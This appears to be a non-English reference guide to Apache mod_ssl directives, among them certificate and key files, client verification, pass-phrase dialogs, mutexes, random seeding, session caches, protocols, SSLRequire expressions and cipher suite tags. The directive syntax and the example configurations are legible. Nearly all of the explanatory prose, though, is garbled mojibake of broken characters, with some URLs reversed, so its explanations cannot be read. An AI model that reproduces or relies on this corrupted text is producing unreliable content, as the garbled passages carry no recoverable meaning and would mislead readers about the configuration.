Config outside <Directory> or <Location> blocks
Available in Apache v 1.3, v2

�" 2 
"�p��  �n#.��� ��$ � ���� �    , �V0, � ��& � #�p  .�"  
n#.���  �,�� �	 3DER   �u	 �
 :�^ASCII��� n#& #p. ��� n#.��� �	 _, E�� �#&�	 n#& _, _, E����� �, n#�2�& .

 ���� 2�  �V>.@�"  
n#.��� , �   	�V�.� :�^ �	 #.��!� ��$ � Up  u�  u^��1 #�RSA   �  u" �
DSA #&�	 . � " 2 
"�p��  �,�   ��	 �	 �2 #.��!�   )2�p �V0, ����������X, �  �u	 RSA � DSA

2� �p �	.
SSLCertificateKeyFile

SSLCertificateKeyFile filename
Config outside <Directory> or <Location> blocks
Available in Apache v 1.3, v2

�" 2 
"�p�� Up �� ̂ ��1 #������    � ��&  , �V0,�#�p . Up ����   �	 #"  ���u� z� p�!  u� y
   � �� �#&�	 n#0." 2 
"�p�� ��	 ��    �	 n�&� n#.��� Up �  �p n2�-��� #�# .    J�u. ��� n#u.���    �u	  /  {��u&

,� >, �2�&�   u, �Vu0, gU�, :�^ �	 � �� � 2 �#u�p  u�� � u"  :�u^ 
  $�. �u	 �Xu>. u� �
uu��t���uu� ��uu���uup  ~�uu�Y, usr/local/ssl/private /uu" �<wherever you told ssl to 

install>/private=2� �����2�, �2�&.
��;�K�

SSLCertificateKeyFile /usr/local/apache/certs/my.server.key.pem
SSLCertificateKeyFile certs/my.server.key.pem

 ���� 2�  �V>.@ , � � )��!" 2 
"�p��  2 � �  ��	 �X!�, ��    )2�p �V0, ��������   GuU�V, 
�������X, 2 � �	 RSA � DSA���, :�^ �	� �2�p n2�-��� .

SSLVerifyClient

SSLVerifyClient level
Default: 0
Server config, virtual host, directory, .htaccess
Available in Apache v 1.3, v2

�" 2 
"�p�� , ��   E� #.��! ��� �	������"  ��� �	 ��  �1�& 2�& n2�-��� . ��� M�� �u��$ 2"  #u�
�"�����$�     ��d�	 J�w�� 2 � �	�p �   M��!�  , M���p�#�p .    J�2 ���$ 2     Fu� � 2#s, n�p�x,

1 Distinguished Encoding Rules
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2 ��" ����12 ���HTTPS  ���� M��� �� BXd � , �X �� #u�p .�  u"2 
"�p� u�   �� �up �u�.� �
�����  , �}�.� )��  2�  , �V0, ��#�p . ���� 2�   �V>. ?,D    ���� 2 � 2#/ �	�   �Vu>.@   �u	 

Up�c�� #n, �V0, �2�&:
0" �'none'

�����. 2�, �. ����>.
1" �'optional'

n��1����� 
q�,���� �#�p ���� �X�Y, .
2" �'require'

n��1���	"#���� �#�p ���� �X�Y, .
3" �'optional_no_ca'

1��n�� ��� 
q�, ���� �    �� �#�p ���� �X�Y, �  . J�~ �    �u� �� �p �>� u"   _up�, z
 �X�Y,) �p�����"���� z��#�w. )� �� �, �#�p (¡!�"#&�	 n#& #.

	 B�/ 2� b��� ��00�2-,�#��>� #.

SSLVerifyDepth

SSLVerifyDepth depth
Server config, virtual host
Default (v2) 1
Available in Apache v 1.3, v2

   B�/ 2"���� z� \�< �� �p " zCA¡! �", #� �2�&  )� �uX�/� �p ��� 
q�,CA  Eu� 
    �X�/� �	 ���,"  zCA 2 "   �� � #&�	 �w�    �! �< 
" ���� z�  "�0 .�" 2 
"�p��  �  �kp�#$  M�u<

�" s.� 
�   , �V0, � ��#�p .Fq/  B�Y�������  , M�< �� 
�� �!��� :�^ 2    n#u& �Vu0
 2 o��!"�p��  �SSLVerifyClient  , �V0, �2�& .  ���� �	 �~��Y,����"    ou��! �p CA  2�u, 

¡! ��& 2���/��"n#& ##.���2 2���/� "��	��	 �#"� �< �	 
�t �	��	 )� M�< ���?��� .

SSLPassPhraseDialog

SSLPassPhraseDialog type
Default: builtin
Server config
Apache v2 only

    ���� �p �	 ���� J�w��� �	 " #�� #"  
n#.��� ���� �  Up � � ̂ ��1 #�     �u	 ��	�,  ��u������
��s,�     #u.��V	 � )  2 �u	"�p�� �u���SSLCertificateFile   � SSLCertificateKeyFile  �uY ��,
�p�# .(n#.������ Up � ̂ ��1 #�      ��	��	 � #��>� n#& _, ~��Y, " ���� 
� . �   u��� �	 ���  )#  Eu��
_, �0�_, �" � "  
n#.��� 2�2 �� .�"   u, t��� 
�               �u	 �up 2�u& J�us.� Z� �2 �u	 #u.��!type

, �V0,�2�&:
builtin

�"  � �#f, 
�t    � ��� ���  ��" 2 z" U,�Y! �����      , n2�-��� �p �	 ���� J�w�� 2 �#�p .
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 �	 �X��"  # _, E��   �� n#.���    #�p 2�� � n#& _, . �s.� ���"   
uq�, �p      �� �u��  u" z
 _, E��" ��	 )�>q�   ��� n#.���    Y� �#&�	 n#& n2�-��� ���, �  2�u&  u��� �� BuXd� �)#
_, E��UXd���	 �n#.������"n#0. ��	 �p  �#.�2�& )�]�,�.

exec:/path/to/program
"  �1 �,�.�	 z�, �V0, �  ��u	 �up 2�&�  �u�  n#u.���  Up n#u& _u,  u� u^��1 #�

.��uu1����uu, �2�uu& .�uu"	 
  �2 �uu	 �uu,�.�#.�.�uu0..��uu1��� �uu, � 2�uu& )uu����
servername:portnumber  ,�2 � �RSA"  �DSA ��� (   �p � ��u���   �uw�� � "   2�u, E�

   , �V0, � n2�-����#��p.  � F9� "  �	 �,�.�	 
"  # _, E��   2 � stdout#�p `��  .� u" n#
U^��    � �p ��� )� "   �,�.�	 
  �#�	���	���� �,� ���   2�2 J�s.� �   n      �up 2�u& 
�u��, �!

����-.�   �	 �.�,��   #&�	 n2�q. �U�$  .��� � " ��	 
� f��, ����,� u�    �#u.2�	 _   _u, Eu��
��f,�   , ���� � �#�p .  �� _, E��  � �	 �n#.������Up n#0. ��	 �^��1 #�  )�u]�,�

,�#.�&.
S�K�

SSLPassPhraseDialog exec:/usr/local/apache/sbin/pp-filter

SSLMutex 

SSLMutex type
Default: none BUT SEE WARNING BELOW!
Server config
Apache v2 only

�" 2 
"�p��   ����� �)"n�	�p #�� B-d � (SSL� � �#�	�q�, � ��u	 �p #�p�  ��u� J�uw�� �
 	 M��/��  
#�"������   GU�V, ����� , n2�-���� 2�u& .� u" 2 
"�p� u�       �u���� tuV	 2 �u��! ��

���	�q#������ , �    2�& n2�-��� #.��!)"�Y���. #u.��!  � 2 � #u�	�q�      �1�u& �u	 ��u	�,    �u� u" �
����������s, �2�& n2�-��� (..

 GU�V, {��.� ������� #�!�X/:
none
�" � �#f, 
�t ��� �p ����Y, �	�U-d �� ;^� �p ��� )� � 2�u0. n2�-���  .  �us.� ��

  � �� �p" B-d 
��	�  ��� J�w�� ��.   2 
�&1��  .��. n�� n��  ���u>0. �SSL   n2�-�u�� 
,�           2�uf, )#& ���1 v/�	 ��� 
q�, B-d �� n2�-��� J#/ �2�&" 1� � u�    .�u�. n�u� n��

2�& .��	��	" 
^�!�, ��� �� 2�&" 
_�"���q. n2�-��� �#.
file:/path/to/mutex

 � ��" _� 
" ��	 ���    )2�p �V0, "  zn#.���  Bu-d )���/ �	  �p n2�-�u�� u�# .���  �� �u0
�.�,��n#.��� U], � ��	 �/path/to/mutex �p n2�-����   u� � #�    n�u� � n#u.�����  � � �
n#.����.�,��NFS"  �AFS � �	"    �q. n2�-�u�� �}�, 
 u�# .���   �u0PID #u�"���  Uu^� �
�����    J�. �	 n#.���, e�]�� �2�& .��	��	". J�~ 
�  J�u. )2�	 ��]�, )��w. �> n#u.���
&�	�#.

sem
"      2 �p ����� B-d z�.�,��  ���".��  FqSysV   , 2�2 2� � �   2�u& n2�-��� #.��! . 2

Win32�	 ���$ "� �� #"_� 
"2�& n2�-��� ��.
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S�K�
SSLMutex file:/usr/local/apache/logs/ssl_mutex

SSLRandomSeed

SSLRandomSeed context source [bytes]
Apache v2 only

�" 2 
"�p��� ��	 � � �#�	�q�"  z"   ��	 jX�, �2 �� �2�#f, � ���  u�  �PRNG   2 OpenSSL  2 
     �p �	 ���� J�w��)   �#f, ���context  �	��	'startup' #&�	  (" d2 ��   ��d�	 �� BXd ��f� u"   M�u�!� z

# "  #SSL)    �#f, ���context  �	��	'connect' #&�	 (  , �q	 ��2.�" 2 
"�p��   � 2 ���! ��#�	�q�
�����������, �2�& n2�-��� #.��!.

    �#f, )2�p �V0,builtin ��	 �jX�,)�0.   X�, �� n2�-��� n#��2 U1�2 j� ��	 �  �2�#uf, �
����      UY� )�,� �� �>!�X/ �p ��� ��   ����& �#�"��� UY� �   � �  �#f,1KB     �2�u�! �< �	 �p �  �� 
"z   U1�2 ��1��  � ���� �(scoreboard)   ��� n#& ��V�.� .  � �	 "  � M�$ 
"  
 u"     )�#u�� juX�, z

X���,� . �        �p �	 ���� J�w�� 2 � �> )  �pscoreboard   . =���2 2 ��> (����.�� �p � ��!  u� #
,�#�p.

��	��	"  , ��� 
����1�       �p �	 ���� J�w�� 2 #�2�#f,� ��. �" �	 �#"   �� # 	 j	��,���0�   Bq& �	 
�"��. n2�-��� ��"#:

file:/path/to/source
�"   Z� 
  ��n#.���  �1 �/path/to/source    ��� jX�, )���/ �	 � �2�#f, ��PRNG n2�-���

,�#�p. ,�w�� �   �	 2�#Y! �p "  , �V0, ����  �	 ���! �2�&"����  M�� n#u.���      ��ud n2�-�u�� 2�u, 
,���#.� .     �	 2�#Y! )2�q. �V0, :�^ 2"���    Bp �� n#.���   u, n2�-��� � 2�u& ) 0     )��u�/ �u	 

#.�.�0.   M�� /path/to/source , �V0,�2�& .( . � ��"   Z� 
 � �	"  n¤        �up �u	 ��u�� J�uw�� 2
�p n2�-����# . �� M�k, �	/dev/random" �/dev/urandom�p n2�-��� �#.
n2�-���    ��  /dev/urandom    � �#&�	 ���	 ��� 
q�,"� )� �� )#.��1 2 ��� )#& �p�U	 n�w�

���. t��"# ./��f, 2 )� y" �	 �>/dev/randomp�-��2��! 2�#/� ����! ���� n#& #.
��;�K�

SSLRandomSeed startup builtin
SSLRandomSeed startup file:/dev/random
SSLRandomSeed startup file:/dev/urandom 1024
SSLRandomSeed startup exec:/usr/local/bin/truerand 16
SSLRandomSeed connect builtin
SSLRandomSeed connect file:/dev/random
SSLRandomSeed connect file:/dev/urandom 1024
SSLSessionCache

SSLSessionCache type
SSLSessionCache none
Server config
Apache v2 only



TX

�" 2 
"�p�� ��	 �� � �#�	�q� 1� �n� .��. n��� ���>0. �SSL ���  . � ��" 1� 
�  , n�� n�� )��!
	��� �/�� )2�	 ~�	 ���, Z��2���2�p n2�-��� ������12  .������, 2�#  "#�� #"& 
� �
) ���! #�.�,"  �" �]-^ z (    , ����12 )�,_�� �< �	�#.�& .�"    o��! ������12 
#�"������

-U�V,�, Z��2�� �#.�& .�"1� 
�n�n� n���p���	 �	 ��X!� �� 
" 
#�"���, E���� ���#�p.
_� {��.�"������� #�!�X/ n2�-��� B	�d :
none
� �#f,�1� � ��� ��� t�n�.��. n������>0. �SSL� � �, M�Y� ��#�p  .

dbm:/path/to/datafile
  ��n#.��� E�2 3DBM  � � � 2 " U], z>� ��	 �     )2�up J�w�� 1� u�n� n�u� �u��  uU], �
n2�-��� , �#�p .�"  �	 Z� 
�_��"��. t� _I/O  2����� i! yu �, � u�� u��>], �� �_u�� 2 " t
 �/��, ������,���	��	 �2�&"� 
"^�! Z� 
�, ��2�&.

shm:/path/to/datafile [(size)]
�"  
   �� Z�"    ��p �	 E�2 M�#  z�" ~�	  )�2"  ��0, �}��$ z 2RAM)   n#u& �u��	

 o��!/path/to/datafile(��	�1� )2�p J�w�� �n�.��. n����  �#�"���, n2�-��� ��p#.
��;�K�

SSLSessionCache dbm:/usr/local/apache/logs/ssl_gcache_data
SSLSessionCache shm:/usr/local/apache/logs/ssl_gcache_data(512000)

SSLEngine

SSLEngine on|offSSL
Engine off
Server config, virtual host

 � ��" 2 
"�p�� ��	 �� �    )2�p M�Y" � ��      )2�up M�uY� �SSL  n2�-�u��   u, �      M2�uY, �up �2�u&
SSLEnable   � SSLDisable , ��	#& .      tV	 2 )� �� ~��Y,,�   ��us, )�u	_�  ��u	 �    M�uY�  u" �

��   )2�p M�Y��SSL  , n2�-��� �&2� .  � �< �	�t  ���SSL/TLS��	������  Uu^� �    J�u�! � 
����������s, �� �#�	�q�� n#& ���� M�Y�� .

S�K�
<VirtualHost _default_:443>
SSLEngine on
...
</VirtualHost>

SSLProtocol

SSLProtocol [+-]protocol ...
Default: SSLProtocol all
Server config, virtual host
Apache v2 only

1 Hash file



TA

�" 2 
"�p���2�2��d���"  �  �pn��1��  ��,�.��!#�  .� �� ��d�	 2 ���!�     �#u��p n2�-�u�� ��uX
, M���p�#�p.2�2��d����� #�!�X/ n2�-��� B	�d :

SSLv2
2�2��dSSL o��! �p ��� J�2 �V>. Netscape Navigation$��< ���� n#& .

SSLv3
2�2��dSSL   ��� J�� �V>.    #uY	  �V>. �p �SSLv2 �u��  .� u" 
 2�2��ud  M�u� �� 

?HHH 2 M��Y, 2�#.���� ��� ������,.
TLSv1

2�2��dTerasport Layer Security (TLS) �V>. �?,R  #  �up �u��  u"�!#"  �Vu>. 

 2�X�	" ����SSL�! � �" o��! n#& #IETF��� .

ALL
�  jd�� 2"_w"  n�u!�p 
"+SSLv2 +SSLv3 +TLSv1"  � �u��  ��u	 yu���,�  M�uY� 

 J��! )2�p2�2��d ��2��, _  �	� �,;/ �	 �p (, ��k��� � �#.�&���.
S�K�

#   enable SSLv3 and TLSv1, but not SSLv2
SSLProtocol all -SSLv2
SSLCertificateChainFile

SSLCertificateChainFile filename
Server config, virtual host
Apache v2 only

�" 2 
"�p��  �n#.��� ��$ �s.��  n���������CA   , �V0, � �#�p . � 2"  
n#.��� , � u! )��
�2�� �	����� J��! ����� �� � ���CA���� �! M�� � "2�2 ��d E� M�X.2 �	 �0.

�" 2 
"�p�� , ��  #.��!    n���� :�^ �	" �  �"_w"  
SSLCACertificatePath ��u	�  qu0! � B
s.������ n������� �	 �pn��1��, n2����� �2�& n2�-��� �2�& .

s.�� ��� n���  ,�w�� ���! � , �p � �� �p #�p"���� z� ��u���) u" u��X, ��  �u	 
RSA" ��X, ��   �	 DSA (  �p n2�-�u�� u�#.     �� �u��  u"   ���u� K�� z�RSA+DSA

 �p n2�-����   !�^ 2 ���! �#�         ���u� �2 �u� �p 2�p #���1 �p �   ��  u" s.� z u� n�
�����#��p n2�-��� .

S�K�
SSLCertificateChainFile /usr/local/apache/conf/ssl.crt/ca.crt

SSLCACertificatePath

SSLCACertificatePath directory
Server config, virtual host
Apache v2 only



TL

�" 2 
"�p�� �1�& ���   �p ��������CA  �	 ��	�, n��1���#�w. ���, �  �Vu0, � �#.�&
,�#�p.� "���� 
�s�� �X�/� 2 ������������p  2 �	 J�w�� �"�����$�#.�2 2�	�p.

�"  
n#.���    y��d 2 ��PEM � 2" �1�& 
�#�w.�, ��< �� � #.�&" J�. gn#.������ E�2 
 ����2 B	�d� #��>�  .��	��	" �X. 
"    of� ���! #n#.���   � 2 � ��"  9p �1�& 
�   �	 �qU	 �2�p "  # u" z

,�)��	3 � �	"  
n#.���   :�^ �	hash_value.N �"  2�up 2�s .   �_u	�tools/c_rehash    n��u�� �up
OpenSSL, �%�/ �� �2�&", J�s.� � �p 
�#�2.
S�K�

SSLCACertificatePath /usr/local/apache/conf/ssl.crt/

SSLCARevocationPath

SSLCARevocationPath directory
Server config, virtual host
Apache v2 only

�"  
2"�p�� & ��1���     � ��u& �up � ���u>�    ���u� M�u�	� �(CRL)   �#u�w. � �  u, ��p u�  � #
 , �V0,�#�p .�" � 
� ��	 ���>�   M��	� �������� )��	�p  J�w�� 2�"�����$�   n2�-�u�� �	�up 

,�2�&.�"  
n#.��� �	 ��"    y��d 2 #PEM    � n2�	  �< ��"g   J�. n#.��� �u��      =��u�2 Bu	�d Eu�2
#�&�	 .��	�� " �p 
,�)����	�":�^ �	 hash-value.rN � �	" 
n#.���� 2 ��"� �1�& 
"  2�us

�p�# . ��Makefile n���� �p mod_ssl2�2 2� ����. n2�-��� �"#.
S�K�

SSLCARevocationPath /usr/local/apache/conf/ssl.crl/

SSLCARevocationFile

SSLCARevocationFile filename
Server config, virtual host
Apache v2 only

�" 2 
"�p��  �n#.�����     ��� B,�& �p �����>� ���� �M��	�    , �V0, � ��� � #u�p .� u" 

n#.���    � J��! e�]�� �	 ����>�   , ��2 M��	� �2�& .�"2 
"�p��, �� n���� �	 #.��! u"  �u  �u	 ��

SSLCARevocationPath2�& n2�-��� .
S�K�

SSLCARevocationFile /usr/local/apache/conf/ssl.crl/ca-bundle-client.crl

SSLLog

SSLLog filename
Server config, virtual host
Apache v2 only

1 Symbolic link



TE

�" 2 
"�p��  ���	�    )2�p �V0,   J�.n#.��� � "�w.2�#�SSL   , �p �	 �2�.    J�. ��� n#.���
  �	 "/"   �2�0. {��&>,�  �n#.���    �	 �X>. ServerRoot ���,�2�& . J�. ���n#.����. �	 " �>"|" 

  )� �2�& {��&  , ��� n���  2 �p 2�&"�p��  �"z  �� � �,�.�	 �"   , �V0, � � �p #�p� u" ��2�#
�< ��" g" z ����, Bf��, �,�.�	 �	�#.�& .

SSLLogLevel

SSLLogLevel level
Default: SSLLogLevel none
Server config, virtual host

  ����" �w. 2�#�", jd�� 2 ��!�/;<� )�_�, �Xh �p �  u, �Vu0, � 2�&� #u�p .level
,� #.��!"q�� b��� �� "#&�	 �:

none
SSL � "�w.2�#�2�#. �_s,  .� ��X�� u"��2�#�  ��u� error 2  n#u.����  u"�w.2�#�

,��/����� �, ��&�. �2�&.
error

�"��2�#�   ��1 {�. �� )  1� :;q0,�E( , �Xh�#.�&.   � ���	 J�w�� "   ��u � ����1 
�
#�"���, Gd��, �2�& .�"� 
" 2 ��2�#n#.���� "�w.2�#�,��/ ����� �, FqY�, E� �#.�&.

warn
�"��2�#� �#0� ��� ��  �p :;q0,��1� ��, �Xh �#��>� E�#.�&.

info
����,����$ �!�/;<� � #.� n�	2  Z��2��, �Xh�#.�&.
debug
����,���2� M�q&��" � , �Xh�#�p.

SSLOptions

SSLOptions [+-]option ...
Server config, virtual host, directory, .htaccess
Apache v2 only

�" 2 
"�p�� , ��  #.��!��	�   M���p _�"����� )�,�    �� �      �1�& ��� 2 �  2� �p �	 .  ~�u�Y,
 #�� ���"  
2"�p��  �SSLOptions��	�"  8�1 �#�&�	 M��/� B	�d �1�& z �u!"  �u�.� 
   �u< �u	

       � n#& ����� �}. 2 B,�p_�"��  ��  �. J��2� E� 2�#.�& .� �	 u"  M�u$ 
  �u�� _� J�u�!" �u� �u��
SSLOptions ���,;/ �	�  j�  (+)"   ���, �)( (   �#�&�	 n����_�"��  , J��2� ���#.�&._� ��"  �u�

 n���� +_� �	"�����d UY� M��/� B	��_� �� � �n#& ���%� " n���� ��–, \x$ ��.� �� �2�&.
_�"������� #�!�X/ n2�-��� B	�d :

StdEnvVars
   � )#& M�Y� J�w��" _� 
" �/��s, ����� i�, �� 2�#.��u�� � �u���], � u��   �u	 oX!�u,

SSL�", 2�s�#.�& .� �< �	�t �����	��_�� "��p t�"�"_� 
"� ���M�Y� ����  .



TR

CompatEnvVars
   � )#& M�Y� J�w��" _� 
"  ���i�,����� ], ��� 	 ���0� ��	 �  ����u� �  �Vu>.  �u��

2" �wApache SSL�", 2�s�#.�& .��	 ��_  �	 :��   ����u� tuV	 �u	 ��0�  ��u�� 2��u�� 2�
��. �Y ��,�"#)html.ssl_compat/ssl/2.0-docs/org.apache.httpd://http(.

ExportCertData
� )#uu& M�uuY� J�uuw��uu"_� 
"��uu�i�, ��uu���], �uu��	���uu0��"uu, 2�uus�#.�uu& :

SSL_SERVER_CERT �SSL_CLIENT_CERT�SSL_CLIENT_CERT_CHAINn)  �uu	
n=0,1,2,…(    B,�& �p �������������   � ���1���  UY� M��!� �https   ��	 � #��>� � u��	�

�/�g �!�����, ���#.�& n2�-��� #�.��!.
FakeBasicAuth

 � �h�" 2 
"�p��      �	 �p ��� )� �#," �� �3   , n�� �  �#�2   #�.��� 2"�p�� �u���  #ud "��
�uu"�����$� �uu����2 M�uu��p�#uu�2 J�uus.� �  .� )#uu& M�uuY� �uu	uu"_� 
" �uu�n��uu$NSubject 

Distinguished Name " �DN�����X.509 �	�	�p J�.���"���& ���� " �HTTP  �u� �!
,�2�& .�	�p J�.�d2� ��fn��$Client Subject������ ���2 �	 �p ��� " B	�d �Y!����� 
:

openssl x509 -noout -subject -in certificate.crt
 �p �s.� ����2 �	�p����� � 
���� �	 J�~ ���� _, E��. �	�p �� ��> .

StrictRequire
�" 2 
"�p��  �,�w���  �p SSLRequireSSL" �SSLRequire����2 � ��. ju�, � "  �#u�

����2�, {���, �;,�p � �#�p .� �< �	� ��� t2"�p�� �"Satisfy any"   u, �up �u	 � � 2�
 , v/�	�   �p 2�&  �	  e#^   2 )2�p"q�    ���<�& ��  u����2�      2�u& ��us, )� u"       �uU/ �u	 �u,� 

�uuw�w.� �uup Z�Satisfy�uu�� .(uu�� � �� n2�-�uu�� �uu	 p�! uu� ySSLRequireSSL� /uu" �

SSLRequire �	_�" ��"SSLOptions +StrictRequire"����2��V���, �.����&2 .
OptRenegotiate

�" 2 
"�p��  �  ��	 2#s, n�p�x,���d�	� �	 �   M��!� ��SSL  �,�w��� 2 �p "�p������
SSL�1�& 2 ���� �n#& n2�-, M�Y� �#.��p#� .
S�K�

SSLOptions +FakeBasicAuth -StrictRequire
<Files ~ "\.(cgi|shtml)$">
    SSLOptions +StdEnvVars +CompatEnvVars -ExportCertData
<Files>

SSLRequireSSL

SSLRequireSSL
directory, .htaccess
Apache v2 only

�"2 
"�p��.���� �����2 ���< �� _  �	 " gHTTPS, {���, � �p#� .

1 webmaster
2 Field



TY

SSLRequire

SSLRequire expression
directory, .htaccess
Override: AuthConfig
Apache v2 only

�" 2 
"�p��  �����2�   �      )#& n2���	 �	 ���0, u"    u, ��u& z� #u�p .� u" 2 
"�p� u�  � u" z
2"�p���   \��Y.� � #��!#d x�"   � � �p ��� � �Y! n�"  f��, :��X/ G����� ��$ n#�      �� 2�#uY! �u� 

��<�&� ����2 �  , � �#�2 . <�& :�X/�3 �	 "   2 # � �]." � #�p e#^) � �u]. u"   :�u^ �u	 �
BNF ��uuuuuu	 �uuuuuup n#uuuuuu& n2�� �	 {;uuuuuu<� �  n�uuuuuu	2 ��uuuuuu0BNF �uuuuuu	 
html.bnf/bnf/jj~p/uk.ac.man.cs.www://http��. �Y ��, �"#:(

expr     ::= "true" | "false"
           | "!" expr
           | expr "&&" expr
           | expr "||" expr
           | "(" expr ")"
           | comp

comp     ::= word "==" word | word "eq" word
           | word "!=" word | word "ne" word
           | word "<"  word | word "lt" word
           | word "<=" word | word "le" word
           | word ">"  word | word "gt" word
           | word ">=" word | word "ge" word
           | word "in" "{" wordlist "}"
           | word "=~" regex
           | word "!~" regex

wordlist ::= word
           | wordlist "," word

word     ::= digit
           | cstring
           | variable
           | function

digit    ::= [0-9]+
cstring  ::= "..."
variable ::= "%{" varname "}"
function ::= funcname "(" funcargs ")"

 �pvarname,� �� #.��!"i�, �� z����� 2�#.���� CGI���� � �� :�^ �	 "#&�	 �:

HTTP_USER_AGENT PATH_INFO AUTH_TYPE
HTTP_REFERER QUERY_STRING SERVER_SOFTWARE
HTTP_COOKIE REMOTE_HOST API_VERSION
HTTP_FORWARDED REMOTE_IDENT TIME_YEAR
HTTP_HOST IS_SUBREQ TIME_MON

1 expression



TT

HTTP_PROXY_CONNECTION DOCUMENT_ROOT TIME_DAY
HTTP_ACCEPT SERVER_ADMIN TIME_HOUR
HTTP:headername SERVER_NAME TIME_MIN
THE_REQUEST SERVER_PORT TIME_SEC
REQUEST_METHOD SERVER_PROTOCOL TIME_WDAY
REQUEST_SCHEME REMOTE_ADDR TIME
REQUEST_URI REMOTE_USER ENV:variablename
REQUEST_FILENAME

���� ��, 
� �� #.��!"i�, �� z����� �	 oX!�,SSL� "#&�	 �:

HTTPS SSL_CLIENT_M_VERSIO
N

SSL_SERVER_M_VERSION

SSL_CLIENT_M_SERIAL SSL_SERVER_M_SERIA
L

SSL_PROTOCOL

SSL_CLIENT_V_START SSL_SERVER_V_START SSL_SESSION_ID
SSL_CLIENT_V_END SSL_SERVER_V_END SSL_CIPHER
SSL_CLIENT_S_DN SSL_SERVER_S_DN SSL_CIPHER_EXPORT
SSL_CLIENT_S_DN_C SSL_SERVER_S_DN_C SSL_CIPHER_ALGKEYSIZE
SSL_CLIENT_S_DN_ST SSL_SERVER_S_DN_ST SSL_CIPHER_USEKEYSIZE
SSL_CLIENT_S_DN_L SSL_SERVER_S_DN_L SSL_VERSION_LIBRARY
SSL_CLIENT_S_DN_O SSL_SERVER_S_DN_O SSL_VERSION_INTERFACE
SSL_CLIENT_S_DN_OU SSL_SERVER_S_DN_OU SSL_CLIENT_S_DN_CN
SSL_SERVER_S_DN_CN SSL_CLIENT_S_DN_T SSL_SERVER_S_DN_T
SSL_CLIENT_S_DN_I SSL_SERVER_S_DN_I SSL_CLIENT_S_DN_G
SSL_SERVER_S_DN_G SSL_CLIENT_S_DN_S SSL_SERVER_S_DN_S
SSL_CLIENT_S_DN_D SSL_SERVER_S_DN_D SSL_CLIENT_S_DN_UID
SSL_SERVER_S_DN_UID

��	 n�1~�	 ��funcname� j	�! " �=���2 2��� :
file ( filename )

�"  j	�! 
" z#.�.�0.�& ��� � ,������], �	 � 2��n#.���, Z��>� ��2# .�"   �u	 j	�u! 

��	 8��1��f, "���], �>�n#.��� �	" E}�, :�X/ z-,���� #.
 �p � �!�  �#�	� �p # :�X/   �	"  �uX/ z�  : uU1�2� u&�,�  
_s! u"�        �Xu��], F9u� � n#u& 

,�2�& .  ����� tV	 2�     �� tV	 � �����  �:�X/   {��& 2 _s! �� � u"  �      J�uw�� 2 � n#u&
   , �X��], ���! �� ��2�& .  2 � tV	�#�	�q��1�&  � :�uX/ ��� �u	�  _s! �u���12 �u�  u" � �

, �X��],��&2.
SSLRequire (    %{SSL_CIPHER} !~ m/^(EXP|NULL)-/ \
            and %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \
            and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} \
            and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \
            and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20       ) \
           or %{REMOTE_ADDR} =~ m/^192\.76\.162\.[0-9]+$/ 

 
�"    X< )�	� �	 :�X/ 
�Y�  �Y, �	 ��   p ��� )�  �	 �"#:   _u,�X. u"  u�! #� u"  � !�2�u^�  �#u&�	 

�	 )�,���" # �	��	"Snake Oil, Ltd. " � .�,��u� #$����	  u"  �u	��	 #" uq� �� "Staff" �"CA" u" �
"DEV"   �n2�	 �!"  �	 )�,� � �"	 #� 
	 �Y�  � �X�&�2� �/�� 
T � �X^ Q u&�	 ��a��#Y	  �# u" �
n��1�� =2� �� 192.76.162.#&�	 n#& B��, .



T>

nXa X*+!������894�� �
2�2��dSSLn��1��   � �������      �u	 2�#], � �� u"  z �u��   Z�  �uw._,�  u�. � #u�p.SSL
2�#Y!� ��&� ��� �� "��� �w._, �  �1� 2 �  �  , ��d �,�   1�	 ��X�� �p #�2�    2 �� ���	 ��&� " �w

, B�/ ��&��#��p . �������>	����w._, �J�. 2 2� �, �_��OpenSSL 2  n#u.���… 
/ssl/ssl.h ��� n#,�  .

� �,�2� 2� �>2"�p���������� 2 2� �, � �V>. @, n2�2 b�& �#.�& .

SSLCipherSuite

SSLCipherSuite cipher-spec
Default: SSLCipherSuite 
ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+ SSLv2:+EXP
Server config, virtual host, directory, .htaccess
Override: AuthConfig
Apache v2 0nly

  2��, _  �	�  #, �p "  ��>$ �� �� � �"2��   �,� �	 �X>. �   � �#&�	 ��&�2 �" 2 
"�p��   Bu	�d �
��� �����.

�" 2 
"�p�� � ����  n#��&���cipher-spec      �� �u,�p �u	 �p      n#u& �#u  Eu��    �u! �u���� � #u.
��>	��� �w._, �  ��s,  �  2�� �	 n�p�x, Jn��1��#�p �V0,.� "2 
"�p�� tV	 �2 �� 2 �

��#�	�q������    �1�& �   ��� n2�-��� B	�d . !�^ 2�  ��	 �p � � �#�	�q�"     n2�-�u�� �1�u& z
 �2�&����2 J�w����	 �1�& )� �	 "2�& J�s.� 2#s, n�p�x, #.

^�!�  G�w._,�SSL   2 cipher-spec    tV	 ���   2�#Y! � n#�/� �0V	 �� _   �u" 2�2  .
)�0.����V0,  n#��p�w��"  E� Up M2�X!�   �p �# �V>. B,�&��� GU�V, RSA2 � "-�( 
�U�
��� M�#  2 �I(@n#& n2�� #.�.

 M�# �(N .�w��"�������! "Up j�#
 )�(9(Tag){� 
kRSAUp M2�X!� #RSA
KDHrUp M2�X!�2 #"-�( �	 
�U�Up� #RSA
kDHdUp M2�X!�2 #"-�(Up �	 
�U��2 #"-�(
�U�
kEDHUp M2�X!�2 �d�, #"-�( 
�U�)���� )�#	�(

)�0.����-�¬,�w��"  E��"�����$�   B,�& �pRSA  �2"-�(   
u�U�  �DSS    M�#u  2I(D
n#& n2��#.�.

 M�# I(D .�w��"������"�����$�
 )�(9(Tag){� 

aNull )�#	�"�����$�
aRSA�"�����$�RSA
aDSS��"���& ��DSS
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aDH�"�����$�2 "-�(
�U�

)�0.����V0, �w�� �-�¬, n#��p"�x�_, E�� M�#  2 I(7n2�� n#&#.�.
 M�# I(7 .�w��"������x�_,�

 )�(9(Tag){� 
eNull�w._, )�#	�
DES�w._,�DES
3DES�w._,�3DES
RC4�w._,�RC4
RC2�w._,�RC2
IDEA�w._,�IDEA

)�0.����V0, �w�� �-�¬, n#��p"q� E��� n#� J�(MAC) M�#  2 I(Sn2�� n#&#.�.
 M�# I(S .�w��"�����MAC

 )�(9(Tag){� 
MD5E�2 j	�!����MD5
SHA1E�2 j	�!����SHA1
SHAE�2 j	�!����SHA

